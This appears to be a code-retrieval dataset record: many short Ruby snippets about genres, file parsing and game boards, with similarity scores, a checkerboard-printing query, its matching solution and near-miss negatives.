"def read_album\n\n # You could use get_integer_range below to get a genre.\n # You only the need validation if reading from the terminal\n # (i.e when using a file later, you can assume the data in\n # the file is correct)\n\n # insert lines here - use read_integer_in_range to get a genre\n album_title = read_string(\"Enter title\")\n album_artist = \"someone\"\n album_genre = Genre::POP\n album = Album.new()\n album.title = album_title\n album.artist = album_artist\n album.genre = album_genre\n album\nend",
"def get_by_genre (genre, page = 1)\n\t\taction = \"discover/movie\"\n\t\targument = \"&with_genres=\" + genre + \"&page=\" + page.to_s\n\t\tresponse = call_api(action, argument)\n\t\tmovies = process_results(response[\"results\"])\n\tend",
"def genre\n genres = tracks.map{|t| t.genre}.compact\n genres.uniq.size == 1 and genres.first\n end",
"def genres\n @new_array_of_genres = []\n @songs.each do |song| #iterate through each song to find the genre\n if @new_array_of_genres.include?(song.genre) #does not return duplicate genres\n nil\n else\n @new_array_of_genres << song.genre #collects genres through its songs\n end\n end\n @new_array_of_genres #returns a collection of genres for all of the artists songs\n end",
"def teams\n parse_file.lines.each_with_object([]) do |line, matches|\n teams = line.strip.split(',')\n teams.each { |team| matches << team.scan(REGEXP[:name_and_score]) }\n end.map { |v| v[0][0] }.uniq\n end",
"def artist_by_genre\n all_genres = Artist.all.map{|artist| artist.genre}.uniq.sort\n genre_name = prompt(\"Choose a genre: \", all_genres)\n artists = Artist.all.where(genre: genre_name).map{|artist| artist.name}\n puts \"**************************\"\n puts \"For #{genre_name}\"\n puts \"**************************\"\n prompt(\"Choose an Artist from #{genre_name}\", artists)\n end",
"def print_album_genres albums\r\n puts('Select Genre')\r\n puts('1 Pop, 2 Classic, 3 Jazz & 4 Rock')\r\n search_genre = read_integer('Enter number: ')\r\n i = 0\r\n while i < albums.length\r\n if search_genre == albums[i].genre\r\n print_album(albums[i])\r\n end\r\n i += 1\r\n end\r\nend",
"def scrape_altgenres(starting_number)\n n = starting_number\n loop do\n begin \n netflix_page = agent.get(\"http://movies.netflix.com/WiAltGenre?agid=#{n}\")\n rescue \n retry\n end\n genre = netflix_page.at('#page-title a').content\n puts \"netflix genre #{n} is #{genre}\"\n File.open(\"netflix_genres.txt\", 'a+') {|f| f.write( n.to_s + \"\\t\" + genre + \"\\n\") } \n n += 1\n end \nend",
"def genres_hash\n search_by_itemprop_hash 'genre'\n end",
"def retirar_nome_album(nome_arq)\n nome_album = ''\n File.open(nome_arq, 'r').each do |line|\n nome_album = line if line.include? 'album_title:'\n end\n nome_album.split('\"')[1]\nend",
"def genre\n @genre\n end",
"def genre\n @genre\n end",
"def genre\n @genre\n end",
"def get_genres\n \tRails.cache.fetch(\"tmdb/genres_list\", expires_in: 24.hours) do\n \t\taction = \"genre/movie/list\"\n \t\targument = \"&language=en-US\"\n\t\t\tresponse = call_api(action, argument)\n\t\t\t@result = Hash.new\n\t\t\tresponse[\"genres\"].each do |genre|\n\t\t\t\t@result[genre[\"id\"]] = genre[\"name\"]\n\t\t\tend\n\t\t\t@result\n\t\tend\n\tend",
"def neat_genres\n genres.split(',').delete_if { |word| word.eql?(\"\") || word.eql?(\" \") }.join(', ')\n end",
"def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend",
"def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend",
"def genre_info(genre)\n\n db = connect_to_db(\"db/db.db\")\n \n db.execute(\"SELECT posts.title, posts.text, posts.id, posts.upvotes, genre.security, genre.name, users.name AS username, posts.user_id FROM genre LEFT JOIN posts ON genre.id = posts.genre LEFT JOIN users ON posts.user_id = users.id WHERE genre.name = ?\", genre)\n \n end",
"def genre\n case result_item.format\n when \"Book\"\n \"book\"\n when :book_item\n \"bookitem\"\n when :conference_paper\n \"proceeding\"\n when :conference_proceedings\n \"conference\"\n when :report\n \"report\"\n when :serial\n \"journal\"\n when \"Article\"\n \"article\"\n else\n nil\n end \n end",
"def access_fav_movies_file\n # Access 'movies.csv' file to pull the saved favorite movie info;\n # And create a hash data set based on the existing list in the file\n f = File.new('movies.csv', 'r')\n\n # Parse the pipe-seperated data and organize them into one aggregated hash.\n saved_movie_info_set = {}\n f.each do |line|\n movie_info_array = line.split(\"|\")\n movie_info_hash = {}\n\n movie_info_hash[:title] = movie_info_array[0]\n movie_info_hash[:year] = movie_info_array[1]\n movie_info_hash[:company] = movie_info_array[2]\n movie_info_hash[:genres] = movie_info_array[3]\n movie_info_hash[:length] = movie_info_array[4]\n movie_info_hash[:director] = movie_info_array[5]\n movie_info_hash[:mpaa_rating] = movie_info_array[6]\n movie_info_hash[:tagline] = movie_info_array[7]\n movie_info_hash[:poster] = movie_info_array[8]\n movie_info_hash[:release_date] = movie_info_array[9]\n\n saved_movie_info_set[movie_info_array[0].split(\"(\")[0].split.join.downcase] = movie_info_hash\n end\n f.close\n return saved_movie_info_set\nend",
"def generate(file)\n begin\n @db.results_as_hash = true\n gamelist = @db.execute %{SELECT * FROM game}\n rescue SQLite3::SQLException => e\n puts \"Table does not exist\"\n puts e\n end\n gamelist.each do |game|\n print game[\"GameID\"], \": \", game[\"Title\"], \"\\n\"\n end\n input = -1\n chosenSonglist = \"\"\n loop do\n # begin\n input = gets.chomp.to_i\n chosenSonglist = @db.execute %{SELECT * FROM game WHERE GameID = ?}, input\n chosenSonglist = chosenSonglist[0]\n # rescue\n # puts \"That's not valid. Try again.\"\n # else\n break\n # end\n end\n puts chosenSonglist[\"Title\"]\n inputtxtfile = \"songlists/\" + chosenSonglist[\"Title\"].gsub(/[.,\\/#!$%\\^&\\*;:{}=\\-_`~()]/,\"\").gsub(/\\s+/, '')\n inputtxtfile = inputtxtfile+\".txt\"\n case file\n when \"csv\"\n begin\n CSV.open(\"songlist.csv\", \"wb\") do |csv|\n File.open(\"#{inputtxtfile}\", \"r\").each do |line|\n filename = line.split(\"|\")[0]\n songname = line.split(\"|\")[2]\n csv << [filename, songname, 0] #INSERT INTO songlist (InGameFileName, Title)\n end\n end\n rescue\n puts \"An error occurred. You've either deleted songlist.txt (don't touch that!) or done something with ...\"\n else\n puts \"done! You now have an empty song list at songlist.csv.\"\n end\n when \"sqlite\"\n begin\n gameID = @db.execute %{ SELECT GameID FROM game WHERE title = \"#{chosenSonglist[\"Title\"]}\" }\n gameID = gameID[0][\"GameID\"].to_i\n File.open(\"#{inputtxtfile}\", \"r\").each do |line|\n puts\n print line\n filename = line.split(\"|\")[0].chomp\n shortname = line.split(\"|\")[1].chomp\n if filename != \"BrawlStage\"\n songname = line.split(\"|\")[2].chomp\n puts \"INSERT INTO songlist (InGameFileName, Title, ShortFileName, GameID) VALUES (?,?,?,?)\", filename,songname,shortname,gameID\n @db.execute \"INSERT INTO songlist (InGameFileName, Title, ShortFileName, GameID) VALUES (?,?,?,?)\", filename,songname,shortname,gameID\n end\n end\n puts \"done! You now have a database at songlist.sqlite.\"\n rescue SQLite3::Exception => e\n puts \"An error occurred.\"\n puts e\n ensure\n @db.close if @db\n end\n end\nend",
"def genres #How to shorten? \n array = []\n songs.each do |song_instance|\n array << song_instance.genre \n end\n array.uniq\n end",
"def find_or_create_genres\n ids = []\n @list_genres.split(',').each do |g|\n title = g.downcase.strip\n ids << Genre.find_or_create_by(title: title).id\n end \n ids \n end",
"def read_grammar_defs(filename)\n puts 'Opening file ' + filename\n filename = 'grammars/' + filename unless filename.start_with? 'grammars/'\n filename += '.g' unless filename.end_with? '.g'\n contents = open(filename, 'r') { |f| f.read }\n contents.scan(/\\{(.+?)\\}/m).map do |rule_array|\n rule_array[0]\n end\nend",
"def read_album\n\n # You could use get_integer_range below to get a genre.\n # You only the need validation if reading from the terminal\n # (i.e when using a file later, you can assume the data in\n # the file is correct)\n\n # insert lines here - use read_integer_in_range to get a genre\n album_title = read_string(\"Album Title: \")\n album_artist = read_string(\"Album Artist: \")\n album_genre = read_integer_in_range(\"Album ID: \",1,4)\n album = Album.new(album_title, album_artist, album_genre)\nend",
"def all_songs_with_genre(songs=songs_array, genre)\n songs.select do |song|\n binding.pry\n # song[:genre] == genre\n end\n end",
"def genre(hash)\n\thash.group_by { |k, v| v[:genre] }\nend",
"def load_male_names(src)\n parse_file(src, \"male\")\n end",
"def namegen\n\t# assign random line from textfile to variable\n\tcname = File.readlines('nameslist.txt').sample\n\tprint \"Name: \"+cname\n\thp = 15\n\tprint \"Hp: \", hp\nend",
"def get_page_by_genre(genre)\n if genre == \"Action\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_action__adventure_movies/\"))\n elsif genre == \"Comedy\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_comedy_movies/\"))\n elsif genre == \"Documentary\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_documentary_movies/\"))\n elsif genre == \"Drama\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_drama_movies/\"))\n elsif genre == \"Horror\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_horror_movies/\"))\n elsif genre == \"Family\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_kids__family_movies/\"))\n elsif genre == \"Mystery\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_mystery__suspense_movies/\"))\n elsif genre == \"Romance\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_romance_movies/\"))\n else genre == \"Science Fiction\"\n Nokogiri::HTML(open(\"https://www.rottentomatoes.com/top/bestofrt/top_100_science_fiction__fantasy_movies/\"))\n end\nend",
"def LoadFile ()\n\t\n\tinput = \"\"\n\tFile.foreach(\"../Data Files/042-Words.txt\") {|x| input = x }\n\tnames = input.split(\",\")\n\t\n\treturn names;\nend",
"def show\n @genre = Genre.friendly.find(params[:id])\n genres = Genre.all\n end",
"def concept_genres\n find_related_frbr_objects( :has_as_its_genre, :which_concepts?) \n end",
"def concept_genres\n find_related_frbr_objects( :has_as_its_genre, :which_concepts?) \n end",
"def parse_subgenre(description)\n subgenres = [\n [\n \"highly\",\n \"recommended\",\n \"recommend\"\n ],\n [\n \"ambient\",\n \"dreamy\",\n \"spaced out\",\n \"spacy\",\n \"deep\",\n \"space\",\n \"atmospheric\",\n \"mesmerizing\"\n ],\n [\n \"hard\",\n \"banging\",\n \"driving\",\n \"stomping\",\n \"boomy\",\n \"big room\",\n \"techno\"\n ],\n [\n \"electro\"\n ],\n [\n \"house\"\n ]\n ]\n subgenre_titles = [\n \"recommended\", \"atmospheric\", \"techno proper\", \"electro\" \n ]\n return self.find_subgenre(subgenres, subgenre_titles, description)\n end",
"def genres\n self.songs.collect {|song| song.genre}\nend",
"def get_meta_genre \n send_cmd(\"get_meta_genre\")\n end",
"def new_game\n dictonary = File.new('dictonary.txt', 'r')\n cleaned_dictonary = dictonary.readlines(chomp: true).select { |word| word.length >= 5 && word.length <= 12 }\n dictonary.close\n word = cleaned_dictonary.sample\n set_up_game(word, '_' * word.length)\n end",
"def load_genres (movie) \n\t\tmovie[\"genres\"] = Hash.new\n\t\tmovie[\"genre_ids\"].each do |id|\n\t\t\tmovie[\"genres\"][id] = get_genres[id]\n\t\tend\n\tend",
"def genre\n @ole.Genre\n end",
"def show\n @genre = Genre.find(params[:id])\n end",
"def select_by_genre(genre)\n where(\"genre = ?\", genre).abc_title\n end",
"def read_grammar_defs(filename)\r\n filename = 'grammars/' + filename unless filename.start_with? 'grammars/'\r\n filename += '.g' unless filename.end_with? '.g'\r\n contents = open(filename, 'r') {|f| f.read}\r\n contents.scan(/\\{(.+?)\\}/m).map do |rule_array|\r\n rule_array[0]\r\n end\r\nend"
] | [
"0.692953",
"0.67731315",
"0.6715894",
"0.6458827",
"0.6436415",
"0.6399445",
"0.63710093",
"0.62383497",
"0.6196342",
"0.6195388",
"0.61871946",
"0.6115621",
"0.6111598",
"0.60685605",
"0.6032322",
"0.60173255",
"0.5997231",
"0.5992747",
"0.59678346",
"0.5966975",
"0.587621",
"0.5866576",
"0.5839669",
"0.58282965",
"0.5818604",
"0.5818604",
"0.5806597",
"0.5804598",
"0.5794781",
"0.5765711",
"0.5765711",
"0.5765711",
"0.5765711",
"0.5765711",
"0.5756436",
"0.5750216",
"0.5728682",
"0.57282263",
"0.5727316",
"0.57107115",
"0.570986",
"0.5688291",
"0.56866914",
"0.5684875",
"0.56783414",
"0.5667042",
"0.56655234",
"0.5661068",
"0.56261677",
"0.5623883",
"0.5608441",
"0.55945045",
"0.5593732",
"0.5592323",
"0.55860734",
"0.55522835",
"0.55478334",
"0.55169797",
"0.550968",
"0.5507997",
"0.5487566",
"0.5473326",
"0.54590327",
"0.5452406",
"0.54406655",
"0.5427526",
"0.5415107",
"0.54078615",
"0.54078615",
"0.54078615",
"0.5396502",
"0.538042",
"0.5380399",
"0.5380399",
"0.5368678",
"0.5365112",
"0.5356515",
"0.5343526",
"0.53394705",
"0.53342414",
"0.5319848",
"0.5301464",
"0.5299415",
"0.52976865",
"0.52839845",
"0.5276278",
"0.52676797",
"0.5267672",
"0.5252057",
"0.5244602",
"0.5244602",
"0.52435416",
"0.52428526",
"0.5240257",
"0.52370316",
"0.5220392",
"0.5215997",
"0.521389",
"0.5210828",
"0.5198805"
] | 0.7423634 | 0 |
The top left of checkerboard should always be filled with [r] You should assume the size input is always an integer You should not assume the size input is always positive number Input size of <= 0 will return an empty string | def checkerboard(size)
for i in 1..size do
i % 2 == 0 ? checker=0 : checker=1
for j in 1..size do
if checker == 1
print "[r]"
checker = 0
else
print "[b]"
checker = 1
end
end
puts "\n"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def checkerboard(size)\n return \"\" if size <= 0\n completed_board = \"\"\n\n first_line = size.times do |n|\n if n.odd?\n completed_board << \"[r]\"\n else\n completed_board << \"[b]\"\n end\n end\n\n # binding.pry\nend",
"def board(empty_square_char = '.')\n board_str = \" ABCDEFGH\\n\"\n (@board.size-1).downto(0).each do |rank_index|\n line = \"#{rank_index+1} \"\n @board[rank_index].each do |cell|\n line << (cell.nil? ? empty_square_char : cell)\n end\n board_str << line+\"\\n\"\n end\n board_str\n end",
"def checker_board(size)\n # We can change \"X\" to \"||\" and \" \" to \" \" and it'll output a square shape\n pattern_1 = \"||\"\n pattern_2 = \" \"\n new_pattern_1 = \"\"\n new_pattern_2 = \"\"\n\n numbers = (1..size).to_a.reverse\n numbers.each do |number|\n if number.even?\n new_pattern_1 << pattern_1\n new_pattern_2 << pattern_2\n elsif number.odd?\n new_pattern_1 << pattern_2\n new_pattern_2 << pattern_1\n end # I don't know if this is bad practice, having one subfuction end and another one start right after\n end\n numbers.each do |number|\n if number.even?\n puts new_pattern_1\n else # We can use else, since there's only two conditons\n puts new_pattern_2\n end\n end\nend",
"def populate_board\n rows_of_pieces = (size - 2) / 2\n make_pieces([0, 1], 'red', rows_of_pieces, 1)\n make_pieces([size - 1, 0], 'black', rows_of_pieces, -1)\n end",
"def create_empty_board(position)\n 9.times { |i| position[i] = \" \"}\nend",
"def create_board(size)\n return (0...size).map{|b| (0...size).map{|bb| 0}}\n end",
"def empty_board\n { 1 => \" \", 2 => \" \", 3 => \" \", 4 => \" \", 5 => \" \", 6 => \" \", 7 => \" \", 8 => \" \", 9 => \" \"}\nend",
"def board\n string = \"\"\n @array.each do |element|\n if (1..9).include?(element)\n string << element.to_s\n else\n string << \"-\"\n end\n end\n string\n end",
"def display_board(board)\n filled_board = []\n board = board.each_slice(3).to_a\n board.each do |a|\n filled_board << a.join(\" | \")\n end\n for row in (0..filled_board.length-1)\n if row > 0\n print \"-----------\\n\"\n end\n print \" \" + filled_board[row] + \" \\n\"\n end\n nil\nend",
"def to_s( )\n\t\t\tboard = \" +#{'---+' * 8}\\n\"\n\t\t\twhite = false\n\t\t\t(1..8).to_a.reverse.each do |rank|\n\t\t\t\tboard << \"#{rank} | \"\n\t\t\t\tboard << (\"a\"..\"h\").map do |file|\n\t\t\t\t\twhite = !white\n\t\t\t\t\t@squares[\"#{file}#{rank}\"] || (white ? \" \" : \".\")\n\t\t\t\tend.join(\" | \")\n\t\t\t\twhite = !white\n\t\t\t\tboard << \" |\\n\"\n\t\t\t\tboard << \" +#{'---+' * 8}\\n\"\n\t\t\tend\n\t\t\tboard << \" #{('a'..'h').to_a.join(' ')}\\n\"\n\t\t\tboard\n\t\tend",
"def print_board\n 6.times do |y|\n y = 5 - y # To print from top to bottom\n 7.times do |x|\n if @board[[x, y]] == nil\n x == 6 ? (puts \"( )\") : (print \"( )\")\n else\n # Prints only the 3 first letters of each color to keep board alignment\n x == 6 ? (puts \"(#{@board[[x, y]].color[0, 3]})\") : (print \"(#{@board[[x, y]].color[0, 3]})\")\n end\n end\n end\n end",
"def initializeBoard()\n\n # TO DO: COMPLETE THIS METHOD\n maxMid = @size / 2\n minMid = @size / 2 - 1\n for i in 0..size-1\n for j in 0..size-1\n if i == maxMid && j == maxMid\n @board[i][j] = \"B\"\n elsif i == minMid && j == minMid\n @board[i][j] = \"B\"\n elsif (i == minMid || i == maxMid) && (j == maxMid || j == minMid)\n @board[i][j] = \"W\"\n else\n @board[i][j] = \"-\";\n end\n end\n end\n end",
"def show_board(spaces)\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def show_board(spaces)\n\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def show_board(spaces)\n\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def fill_board(size)\n board = []\n board_rows = []\n size.times {|i| board_rows << i}\n size.times {board << board_rows}\n @board = board\n end",
"def build_square size\n #starting positions\n x,y = size/2,0\n\n # build square\n (1..size**2).inject(Array.new(size){[]}) do |arr,i|\n\n # store current number in square\n arr[y][x] = i\n\n # move up and left\n x = (x+1)%size\n y = (y-1)%size\n\n # undo move and move down if space is taken\n if arr[y][x]\n y = (y+2)%size\n x = (x-1)%size\n end\n arr\n end\n end",
"def checker_board(size)\n pattern_1 = \"X X X \"\n pattern_2 = \" X X X\"\n\n numbers = (1..size).to_a.reverse\n numbers.each do |number|\n if number.even?\n puts pattern_2\n elsif number.odd?\n puts pattern_1\n end\n end\nend",
"def game_board_string(id)\n gs = game_state(id)\n result = ''\n (gs.rows - 1).downto(0) { |i|\n row_matrix = gs.row i\n for j in 0..gs.columns - 1\n if row_matrix[j].nil?\n result += '-'\n else\n result += row_matrix[j].value\n end\n end\n }\n return result\n end",
"def display_board(board=[])\n if board.empty?\n 9.times do\n board << \" \"\n end\n end\n #row one\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n #row two\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n #row three\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \" \nend",
"def check_valid (size)\n #checks length of string correct according to n x m\n if @arg.length != size\n puts \"String length incorrect\"\n end\n #checks if outer wall is all 1's\n string=''\n @col_nums.times do\n string+='1'\n end\n if !@arg[0..@col_nums-1].eql? string\n puts \"Invalid maze (outer wall)\"\n end\n (0..@row_nums*@col_nums-1).step(@col_nums) do |i|\n if @arg[i] != \"1\" || @arg[i-1] != \"1\"\n puts \"Invalid maze (outer wall)\"\n break\n end\n end\n #cell centers should be 0's\n #takes values of cell centers and uses coordinates for make_cell method\n (@col_nums..@row_nums*@col_nums-1).step(@col_nums*2) do |i|\n (1..@col_nums-2).step(2) do |j|\n if @arg[i+j]!=\"0\"\n puts \"Invalid maze (cell center)\"\n break\n else\n make_cell(i+j)\n end\n end\n end\n #cell corners should be 1's\n (0..@row_nums*@col_nums-1).step(@col_nums*2) do |i|\n (0..@col_nums-2).step(2) do |j|\n if @arg[i+j]!=\"1\"\n puts \"Invalid maze (cell corner)\"\n break\n end\n end\n end\n end",
"def initialize(size)\n @board_size = size\n @board = []\n @board_size.times { @board << Array.new(@board_size, EMPTY_SYMBOL) }\n end",
"def board\n output = \"\"\n [*0..80].each do |i|\n output << @board[i].ljust(4)\n output << \"\\n\" if (i+1) % 9 == 0\n end\n output\n end",
"def construct_board\n board_dimensions = []\n puts \"Select board width between 1 and 500\".colorize(:green)\n board_width = gets.chomp\n puts \"Select board height between 1 and 500\".colorize(:green)\n board_height = gets.chomp\n puts sep = \"------------------------------------------------------\".colorize(:yellow)\n validate_width_is_number = board_width.to_i\n validate_height_is_number = board_height.to_i\n if validate_width_is_number <= 0 || validate_height_is_number > 500 && validate_height_is_number <= 0 || validate_height_is_number > 500\n puts \"Selection must be a number and between 1 and 500\".colorize(:red)\n return construct_board\n else \n validated_width = validate_width_is_number\n validated_height = validate_height_is_number\n board_size = validated_width.to_i * validated_height.to_i \n puts \"You have selected a board width of #{validated_width} and a board height of #{validated_height}.\".colorize(:green)\n puts \"Constructing a board with #{board_size} tiles.\".colorize(:green)\n if validated_width == validated_height\n board_dimensions.push(validated_width, validated_height)\n puts sep\n else\n puts \"Sorry, the board's width and height must be equal to each other. Try again\".colorize(:red)\n puts sep\n return construct_board\n end\n end\n return board_dimensions\nend",
"def to_s\n board_str = \"\"\n square_index = 0\n new_line_counter = 1\n @array.each_with_index do |v, i|\n board_str << v.to_s #if (0..2).include?(i)\n if new_line_counter % 9 == 0\n board_str << \"\\n\"\n elsif new_line_counter % 3 == 0\n board_str << \" \"\n else\n board_str << \" \"\n end\n new_line_counter += 1\n end\n if @array.include?(0) == true\n board_str\n else\n self.fancy_display\n end\n end",
"def to_s()\n\t\tstr = \"\\n \"\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' '\n\t\tend\n\t\tstr << \"\\n\";\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' ';\n\t\t\tstr << @board[i].join(' ') + \"\\n\";\n\t\tend\n\t\treturn str;\n\tend",
"def to_s()\n\t\tstr = \"\\n \"\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' '\n\t\tend\n\t\tstr << \"\\n\";\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' ';\n\t\t\tstr << @board[i].join(' ') + \"\\n\";\n\t\tend\n\t\treturn str;\n\tend",
"def board_size()\n p \"What board size would you want? odd numbers besides 1 are valid choices; 3 is a normal 3 by 3 board and 5 would make a 5 by 5 board.\"\n choice = gets.chomp\n if choice.to_i.odd? == true && choice.to_i > 1 && choice.to_i < 10\n choice.to_i\n else\n \tp \"wrong size choice\"\n board_size()\n end\nend",
"def initializeBoard()\n #\n # TO DO: complete this method\n #\n for j in 0...@size\n for i in 0...@size\n @board[j][i]=EMPTY\n end\n end\n center = (@size/2)-1\n @board[center][center] = BLACK\n @board[center+1][center+1] = BLACK\n @board[center+1][center] = WHITE\n @board[center][center+1] = WHITE\n\n\n\n\n end",
"def display_board\n cell_one = \" \"\n cell_two = \" \"\n cell_three = \" \"\n cell_four = \" \"\n cell_five = \" \"\n cell_six = \" \"\n cell_seven = \" \"\n cell_eight = \" \"\n cell_nine = \" \"\n divider = \"|\"\n row = \"-----------\"\n puts cell_one + divider + cell_two + divider + cell_three\n puts row\n puts cell_four + divider + cell_five + divider + cell_six\n puts row\n puts cell_seven + divider + cell_eight + divider + cell_nine\nend",
"def display_board\n cell = \" \"\n print cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n\"\n\nend",
"def create_board_indicator\n @row_of_first_empty_square = 0\n @col_of_first_empty_square = 0\n first_empty_square_found = false\n board_indicator = initialize_empty_board\n (MIN_ROW_POSITION..MAX_ROW_POSITION).each do |j| \n (MIN_COL_POSITION..MAX_COL_POSITION).each do |i|\n #board_indicator[j][i] = 1 if (@board[j][i] != 0 && @board[j][i] != '')\n if (@board[j][i] == 0 || @board[j][i] == '')\n if !first_empty_square_found\n puts 'first empty'\n first_empty_square_found = true\n @row_of_first_empty_square = j\n @col_of_first_empty_square = i\n end\n else\n board_indicator[j][i] = 1\n end\n end\n end\n board_indicator\n end",
"def to_s()\n str = \"\\n \"\n for i in (0...@size)\n str << (i+1).to_s + ' '\n end\n str << \"\\n\";\n for i in (0...@size)\n str << (i+1).to_s + ' ';\n str << @board[i].join(' ') + \"\\n\";\n end\n return str;\n end",
"def display_board(board = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"])\n rows = [\" #{board[0]} | #{board[1]} | #{board[2]} \", \"-----------\", \" #{board[3]} | #{board[4]} | #{board[5]} \", \"-----------\", \" #{board[6]} | #{board[7]} | #{board[8]} \"]\n puts rows[0]\n puts rows[1]\n puts rows[2]\n puts rows[3]\n puts rows[4]\nend",
"def game_board_header\n puts \" 1 2 3 4 5 6 7 8 9 10\"\n puts \" -----------------------------------------\"\n end",
"def display_board(board)\n puts \" \",\"|\",\" \",\"|\",\" \"\n puts \"-----------\"\n puts \" \",\"|\",\" \",\"|\",\" \"\n puts \"-----------\"\n puts \" \",\"|\",\" \",\"|\",\" \"\n board = [\" \",\" \",\" \",\" \",\" X \",\" \",\" \",\" \",\" \"]\n board1 = [\" O \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"]\n board2 = [\" O \",\" \",\" \",\" \",\" X \",\" \",\" \",\" \",\" \"]\n board3 = [\" X \",\" \",\" \",\" \" X \" \",\" \",\" X \",\" \",\" \"]\n board4 = [\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"]\n board5 = [\" \",\" \",\" O \",\" \",\" O \",\" \",\" O \",\" \",\" \"]\n board6 = [\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \"]\nend",
"def initialize(size)\n @board = Array.new(size) {Array.new(size){ '*' } }\n end",
"def blank_board\n 0b111111100000100000100000100000100000100000100000100000100000100000\nend",
"def display_board\n str = \"\"\n 5.downto(0) do |i|\n @board.each {|row| str += row[i].to_s + \" \"}\n str += \"\\n\"\n end\n puts str\n end",
"def display_board\n board = \" | | \n-----------\n | | \n-----------\n | | \"\n puts board\nend",
"def display_board (s)\n puts \" #{s[0]} | #{s[1]} | #{s[2]} \"\n puts \"-----------\"\n puts \" #{s[3]} | #{s[4]} | #{s[5]} \"\n puts \"-----------\"\n puts \" #{s[6]} | #{s[7]} | #{s[8]} \"\nend",
"def render\n @board.each.with_index do |row, y|\n row.each.with_index do |item, x|\n chr = item.nil? ? \" \" : item\n print \" #{chr} \"\n print \"|\" unless x == row.size - 1\n end\n print \"\\n-----------\\n\" unless y == @board.size - 1\n end\n print \"\\n\"\n end",
"def display_board(board)\n board = [\"O\", \"X\", \" \", \" \", \"X\", \" \", \"X\", \"O\", \" \"]\nend",
"def to_s\n puzzle.inject([]) { |rows, row| rows << row.map { |value| (value || options[:blank]).to_s.rjust(max_value_size) }.join(' ') }.join(\"\\n\")\n end",
"def print_board(board)\n board.rows.times do |row|\n print \"|\"\n\n board.columns.times do |column|\n piece = board.at(row, column)\n\n if piece == nil\n piece = \" \" # Display empty cells as spaces\n end\n\n print \"#{piece}|\"\n end\n\n print \"\\n\"\n end\n\nend",
"def print_in_box(str)\n sub_strings = sub_strings(str, 76)\n largest_sub_string = sub_strings.max_by { |str| str.size } # A bug caused by the fact\n # That an array may be \n # empty.\n size = largest_sub_string ? largest_sub_string.size : 0\n \n border_line = '+-' + ('-' * size) + '-+'\n empty_line = '| ' + (' ' * size) + ' |'\n \n puts border_line\n puts empty_line\n sub_strings.each do |str|\n puts '| ' + str.ljust(size) + ' |'\n end\n puts empty_line\n puts border_line\nend",
"def to_s \n output = \"\"\n @height.times do |y|\n @width.times do |x|\n output << (@cells.include?([x,y]) ? '*' : '-')\n end\n output << \"\\n\"\n end\n output\n end",
